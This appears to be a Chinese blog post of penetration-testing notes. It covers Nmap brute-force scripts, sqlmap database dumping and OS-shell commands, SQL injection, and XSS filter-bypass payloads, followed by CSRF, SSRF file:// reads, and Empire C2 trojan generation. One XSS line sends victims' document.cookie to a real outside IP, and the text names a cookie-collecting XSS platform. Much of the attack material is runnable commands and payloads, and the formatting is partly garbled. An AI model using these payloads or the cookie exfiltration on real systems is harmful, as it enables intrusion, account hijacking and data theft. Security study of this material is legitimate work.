网络渗透知识
1. Nmap的基本Nmap + ip 6+ ipNmap -A 開啟操作系統識別和版本識別功能– T(0-6檔) ?設置掃描的速度 ?一般設置T4 ? ?過快容易被發現-v 顯示信息的級別,-vv顯示更詳細的信息192.168.1.1/24 掃描C段 ? 192.168.11 -254 =上nmap -A -T4 -v -iL ? ~/targets.txt ? (iL表示要掃描的目標位于一個文檔中)?? ?--------------- 192.168.1.1/24 ?--exclude 192.168.1.100 ?(排除在外的目標 .100)?? ?--------------- -----------------excludefile ?~/targets.txt?? ?nmap 192.168.1.1 ? -p 80.443 網站 ?是否在這個端口部署網站?? ?nmap –traceroute 192.168.1.1 ? 探測路由?? ?nmap -O 192.168.1.1 ?? ??? ??? ? 對目標進行指紋識別?? ?nmap -sV ? ?----------?? ??? ? 對版本進行探測?? ?nmap -sF -T4 192.168.1.1?? ??? ? 利用fin包對端口進行掃描,識別是否被關閉,收到RST包,說明被關閉。否則是open 后者 fileter狀態。 ?(利用三次握手,可以繞開防火墻)?? ?nmap –script=auth+ip 處理鑒權證書的腳本,也可以作為檢測部分應用弱口令?? ?-----------=brute+ip 暴力破解?? ?掃描腳本介紹:位置 : nmap安裝目錄/scripts/ ? ? 例如/usr/share/nmap/scripts腳本類型:
ll /usr/share/nmap/scripts | grep ^- | wc -l
?使用介紹:
nmap --script=auth 192.168.137.*負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱口令nmap --script=brute 192.168.137.*提供暴力破解的方式 ?可對數據庫,smb,snmp等進行簡單密碼的暴力猜解nmap --script=default 192.168.137.*?或者?nmap -sC 192.168.137.* 默認的腳本掃描,主要是搜集各種應用服務的信息,收集到后,可再針對具體服務進行攻擊。nmap --script=vuln 192.168.137.*? 檢查是否存在常見漏洞nmap -n -p445 --script=broadcast 192.168.137.4在局域網內探查更多服務開啟狀況
zenmapNmap 的圖形化界面:
?2.SQLmap 簡介是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及接入該數據庫的服務器。支持的數據庫:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。 安裝sqlmap前,需要先安裝Python3.Xhttps://www.python.org/downloads/windows/在環境變量path中,增加python3.x 安裝路徑下載sqlmap并解壓縮:地址:https://sqlmap.org/Python sqlmap.py -u http://xxx.xxx.xxx/Python sqlmap.py –help 查看幫助 borp sqlmap支持五種不同的注入模式:UNION query SQL injection(可聯合查詢注入)uError-based SQL injection(報錯型注入)uBoolean-based blind SQL injection(布爾型注入)uTime-based blind SQL injection(基于時間延遲注入)uStacked queries SQL injection(可多語句查詢注入)
2.sqlmap 常用命令參數-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”-m 從文本中獲取多個目標掃描,但是每一個一個url. sqlmap -m urllist.txt-r 從文件中加載HTTP請求,這樣的話就不需要再去設定cookie,POST數據….--dbs 返回當前連接的數據庫--current-db 返回當前網站數據庫的數據庫用戶-D 指定數據庫系統的數據庫名--tables 列舉數據庫表-T 指定數據庫表名--columns 列舉數據庫表中的字段-C 指定數據庫表中的字段名--dump 獲取整個表的數據
3.設置回顯等級參數: -v默認為10 只顯示python錯誤以及嚴重的信息1 基本信息和警告信息2 debug信息3 注入的payload(級別越高顯示信息越多) 4同時顯示HTTP請求。5同時顯示HTTP響應頭。6同事顯示HTTP響應頁面。--data 把數以post方式提交,sqlmap會像檢測GET參數一樣檢測POST過去的參數。--cookie (用于區分用戶)可能會有漏洞,當web登錄時,抓取數據包。
4.設置HTTP數據包相關參數HTTP User-Agent 頭參數:--random-agent 會從sqlmap/txt/user-agents.txt中隨機產生User-Agent頭。sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbssqlmap 檢查uesr-agent中的注入點, level>=3才會去檢查user-agent頭是否存在注入漏洞5.設定探測等級:--level共有五個等級 默認為1 sqlmap使用的payload可以在xml/payloads.xml中看到--users 列數據庫管理用戶--current-user 在數據庫中,目前連接的用戶--is-dba 判斷當前是否為管理,是的話返回true--proxy 指定一個代理服務器 eg: -proxy http://xxxxxx.8080--os-shell 前提:需要網站的物理路徑,其次是需要有FIILE權限 6.Sqlmap“六步”第一步:判斷是否注是注入點sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” 檢測該網站是否存在漏洞 白色加粗字體為注入點 也就是攻擊對象
?第二步:獲取數據庫sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” –dbs?
?第三步:查看當前應用程序所用數據庫sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” --current-db
?四:列出指定數據庫的所有表sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” -D”security(目標數據庫)”—tables
?五:讀取指定表中的字段名稱sqlmap.py-u“http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)”-D”security”-Tusers–colunms
?六:讀取指定字段內容sqlmap.py-u“http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)”-D”security”-Tusers-Cusername,password–dump(dump=下載,脫庫)
?判斷當前數據庫用戶權限:sqlmap.py-u“http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)”--is-dba如果是TRUE,那么權限該用戶很大。
-roles列出數據庫管理員角色如果當前用戶有權限讀取包含所有用戶的表,輸入該命令會列舉出每個用戶的角色,sqlmap-u"http://127.0.0.1/sqli-labs-master/Less-1/?id=1"--roles
-refererHTTPReferer頭當–level參數設定為3或3以上時,會嘗試對HTTPReferer注入。可以使用referer命令來欺騙,如--refererhttps://mp.mysite.net-sql-shell運行自定義的sql語句sqlmap-u"http://127.0.0.1/sqli-labs-master/Less-1/?id=1"--sql-shell運行任意操作系統命令:選擇后臺語言sqlmap-u"http://127.0.0.1/sqli-labs-master/Less-1/?id=1"--os-cmd=whoami
?--os-cmd=whoami--os-shell
(以你的電腦為跳板,對局域網進行滲透,或留后門)
--file-read從數據庫服務器中讀取文件:當前用戶有權限使用特定的函數時,讀取的文件可以是文本,也可以是二進制文件。上傳文件到數據庫服務器中:--file-write--file-dest讀取指定數據庫用戶的密碼sqlmap-u"http://xxxxx/fuzz/index.php?id=1"--passwords-Uroot
?SQLMAP進階常用tamper腳本apostrophemask.py將引號替換為utf-8,用于過濾單引號(易容術)適用數據庫:ALL作用:將引號替換為utf-8,用于過濾單引號使用腳本前:tamper("1AND'1'='1")使用腳本后:1AND%EF%BC%871%EF%BC%87=%EF%BC%871multiplespaces.py圍繞sql關鍵字添加多個空格去繞過適用數據庫:ALL作用:圍繞sql關鍵字添加多個空格使用腳本前:tamper('1UNIONSELECTfoobar')使用腳本后:1UNIONSELECTfoobar
3.BurpSuite工具
1.使用前配置①選擇代理Proxy選項卡②選擇設置option選項卡③Edit? ? Running打勾 124.0.0.1:8080
?
?配置成功
?歷史訪問
?
二、功能模塊講解
?
?
?
?
?
模塊介紹
send to spider 發送給爬蟲模塊do a active scan 進行一次主動掃描send to intruder 發送給爆破模塊send to repearter 發送給重放模塊send to comparer 發送給比對模塊send to decoder 發送給解碼模塊request in browser 將請求在瀏覽器重放 四:MYSQL與SQL注入mysql知識點- 基本查詢語句查詢表中全部信息: select *from 表明-關鍵的函數select+以下語句?? ?version() 數據庫版本?? ?database() 數據庫名?? ?user() 用戶名?? ?current_user() 當前用戶名?? ?system_user() 系統用戶名?? ?@@datadir 數據庫路徑?? ?@@version_compile_os 操作系統版本-order by(排序) 語法 -聯合查詢order by 1—order by 2—確定字段數 ? 使用UNION操作符注入另外一個select查詢,并將查詢結果附加在第一次查詢結果之后。第二次查詢能夠從另外一個完全不同的數據庫表中提取數據 ?注意: 相同的列結構?? ??? ? 需要有知道表結構,列結構?? ?exists()函數猜解表明?? ?information_schema 是一個mysql系統自帶的元數據庫information_schema.SCHEMATA 查看所有的數據庫
五、 XSS基礎
1、什么是XSS? 中文名為跨站腳本攻擊,跨站腳本,(Cross-Site Scripting, XSS),當目標網站用戶在渲染HTML文檔的過程中,出現非預期的腳本指令并執行時,XSS就發生了。
2、攻擊者給予應用惡意XSS代碼,導致用戶訪問應用或服務器時執行代碼,導致被XSS攻擊。 攻擊者→服務器→用戶(xss是一種迫使Web站點回顯可執行代碼的攻擊技術,而這些可執行代碼由攻擊者提供、最終為用戶瀏覽器加載)
3、XSS的危害: 1.網絡釣魚,包括盜取各類用戶的賬號 2.竊取用戶cookies資料,從而獲取用戶信息。 3.獲取客戶端信息,IP/端口等 4.劫持用戶瀏覽器會話,從而執行任意操作 5.強制彈出窗口。 6.網頁掛馬,進行惡意操作 7.進行大量的客戶端攻擊 如DDoS攻擊 8.控制受害者機器向其他客戶端攻擊
4、XSS分類 ①反射型 :非持久型,調取用戶cookie或者進行釣魚,常常為通過引誘用戶點擊一個惡意鏈接來實施攻擊。(特點:① 主要用于將惡意腳本附加到URL地址的參數中② 只在用戶單擊url時觸發,而且只執行一次,非持久化③常用來竊取客戶端 Cookies或進行釣魚欺騙.④常常為通過引誘用戶點擊一個惡意鏈接來實施攻擊的)name為可控參數
?
?我們可以通過執行惡意代碼彈窗,那么也能做些對我們有利的事情。
當我們構造好了如下惡意代碼,發送給受害者。<script>alert(document.cookie)</script> 將會彈出用戶的cookie值,我們構造js代碼,將該cookie值發送至我們自己的服務器,或者用XSS平臺接收該cookie(例如https://xsshs.cn/),我們就能通過該cookie非法登錄受害者的賬戶。
?
?②存儲型 :滲透 掛馬 蠕蟲病毒 出現在網站的留言、評論、日志等交互處,被存儲在數據庫或者客戶端中,等再次瀏覽時受到攻擊。(特點:① 惡意代碼被保存到目標網站的服務器中,每次用戶訪問時都會執行腳本代碼,這種攻擊具有較強的穩定性和持久性 ② 比反射型跨站腳本更具威脅性,并且可能影響到Web服務器自身的安全. ③ 一般出現在網站的留言、評論、日志等交互處,)頁面原理: POST提交數據,生成、讀取文本模擬數據庫,提交數據之后頁面會將數據寫入sql.txt, 再打開頁面時會讀取sql.txt中內容并顯示在網頁上,實現了存儲型xss攻擊模擬。當輸入惡意代碼,即會執行<script>alert('xss')</script>并且惡意代碼會一直存儲在服務器,每當有用戶訪問該頁面,即會觸發惡意代碼
? 利用XSS彈出惡意警告框 <script>alert('hacked by cl4y')</script>
網頁不停刷新<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
獲得cookie<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
劫持流量(跳轉到你的博客強行吸粉)<script>window.location.href="http://www.cl4y.top";</script>
③dom型: 將XSS代碼嵌入dom文檔(每一個網頁),通過JS腳本對文檔對象進行編輯從而修改頁面元素,增加漏洞。 xss平臺1.獲取COOKIE(這是必須的最基本的功能) 2.獲取源碼(取當前網頁的源碼)3.截圖(可自己修改為連續截圖)4.……………https://xss.pthttps://xssaq.com
XSS利用——無任何過濾<scirpt>
<scirpt>alert(1);</script>
<img><img src=1 οnerrοr=alert("xss");> //onerror等事件,可以調用js
<input><input οnfοcus="alert('xss');" autofocus>
<svg><svg οnlοad=alert("xss");><iframe><iframe οnlοad=alert("xss");>
</iframe><iframe src=javascript:alert('xss');></iframe> //src中支持偽協議<textarea><textarea οnfοcus=alert("xss"); autofocus>往往用戶可控的參數都進行了過濾,不會讓你用一個<script>標簽就輕易攻擊成功<script>shellcode</script>XXS繞過:關鍵字繞過空格繞過用/代替空格 <img/src="x"/οnerrοr=alert("xss");>關鍵字繞過大小寫繞過 <ImG sRc=x onerRor=alert("xss");>利用其他標簽雙寫關鍵字 <imimgg srsrcc=x οnerrοr=alert("xss");>字符拼接 <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script> 利用函數進行編碼繞過Unicode繞過<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函數進行編碼繞過ASCII碼<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">Hex繞過<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>Base64編碼<img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 過濾括號當括號被過濾的時候可以使用throw來繞過<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //異常處理反引號<img src=x οnerrοr=alert`1`>過濾雙引號,單引號反引號<img src=1 οnerrοr=alert`1`;>js事件當某個位置的可控點在一個標簽內,那么或許可以通過js事件來完成xss操作<img src=1 οnerrοr=alert`1`;>
?混淆:利用html標簽格式的不嚴格、容錯性。關鍵字中加空格加TAB回車url編碼<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>Cref漏洞漏洞介紹: ?一種對網站的惡意使用。與 xss相比不大流行(因此對其防范相當稀少,比xss更加具有危險性。 ? 原理:利用目標用戶身份,以目標用戶名義執行非法操作(以目標用戶名義發郵件,消息,盜取目標賬號,購買商品,虛擬貨幣轉賬等),會泄露目標用戶的財產安全。 ? ? ?Ps:(CSRF漏洞經常用來制作蠕蟲攻擊,刷SEO流量)靶場實戰:漏洞分析:
?
?
?Ssrf漏洞:是一種由攻擊者構造請求,由服務器發起請求的安全漏洞。與csrf最大的區別是一個是服務器,一個是由客戶端發起的。在域名后增加url=語句,從而利用ssrf漏洞篡改腳本訪問的地址。攻擊方式如下:對外網,服務器所在的內網,本地進行端口掃描,獲取的banner信息。B,攻擊運行在內網或本地的應用程序。C,對內網web應用進行指紋識別,識別企業內部的資產信息。D.攻擊內外網的web應用,主要是用HTTP請求就可以實現的攻擊(比如struts2,sqli等等)利用file協議讀取本地文件。 SSRF漏洞利用:測試地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php頁面ssrf.php實現的功能獲取GET參數URL,然后將url的內容返回網頁上。如果將請求的網址篡改為http://www.baidu.com,則會顯示http://www.baidu.com的網頁內容,但是,當設置參數URL為內網地址時,則會泄露內網信息。訪問ssrf.php?Url=file://C:/wwindows/win.ini即可讀取本地文件。
?Ssrf漏洞修復建議:,限制請求的端口只能為web端口,只允許訪問HTTP和HTTPS的請求。限制不能訪問的內網ip,以防止對內網進行攻擊。屏蔽返回的詳細信息。七,EmpireEmpire是一款針對Windows平臺的、使用Powershell腳本作為攻擊載荷的滲透攻擊框架工具,具有從stager生成、提權到滲透維持的一系列功能。Empire實現了無需powshell.exe就可運行Powershell代理的功能,還可以快速在后期部署漏洞利用模塊,其內置模塊有鍵盤記錄、Mimikatz、繞過UAC、內網掃描等,使用能夠躲避內網檢測和大部分安全防護工具的查殺,簡單來說就有點類似Metasploit,是一個基于PowerShell的遠程控制木馬。Empire運行在linux平臺上官方下載地址,不過很久沒有更新,需要Python 2.6/2.7環境https://github.com/EmpireProject/EmpireKALI示例: git clone https://github.com/EmpireProject/Empire.git
?然后安裝Empire的依賴,命令如下cd Empire cd setuppip install -r requirements.txt(若沒有安裝pip庫,則需要先通過apt-get install pip進行安裝)./install.sh在安裝完依賴以后,返回上一級文件,啟動Empire工具,命令如下:cd .../empire? 若啟動失敗,則可能是因為依賴未完全安裝好,只需要手動通過pip install xxx安裝未安裝好的依賴即可。啟動時如果遇到如下報錯
?可以將urllib3版本降級pip install urllib3==1.22重新設定bash reset.sh基本使用會涉及如下內容:1.幫助文檔2.設置監聽3.生成木馬4.連接主機和基本使用5.信息收集6.權限提升幫助文檔?運行Empire后,輸入help命令查看具體的使用幫助。
?設置監聽步驟如下:listeners #進入監聽線程界面uselistener #設置監聽模式info #查看具體參數設置set #設置相應參數execute #開始監聽輸入Listeners命令進入監聽界面,按TAB鍵可以補全命令,按兩次TAB鍵或者help可以顯示可以利用的模塊
?輸入uselistener來設置采用何種監聽模式,雙擊TAB可以看到有以下可以使用的模式。
?設置監聽這里采用http監聽模式,輸入uselistener http。
?然后輸入info命令查看具體參數設置。其中Require為True的值都需要被設置。
?通過set配置參數,并提供execeute執行,需要注意的是Empire不同于Metasploit,Empire命令是區分大小寫的
?
通過back返回上一級,使用listeners或者list可以查看所設置的監聽器
?
生成木馬輸入usestager后 空格加TAB鍵 查看可以設置的木馬模式
?
木馬就類似Metasploit中的payload,其中multi為通用模塊,osx是Mac操作系統的模塊,剩下的是Windows的模塊。我們以 windows/launcher_bat為例,給大家說下過程,其他的使用都類似要使用launcher_bat,首先輸入usestager windows/launcher_bat,然后輸入info命令查看詳細參數
?
通過set配置參數,我們需要設置一個 Listener 參數,即監聽的名字(前面我們給監聽起得一個名字test1),通過execeute執行,文件會生成到 tmp 目錄下,如下所示
?
在目標主機上運行生成的launcher.bat,輸入 agents 可以查看已經獲得的會話
?
總結
                            
                        - 上一篇: Silverlight 4之旅(三)数据
 - 下一篇: EchoServer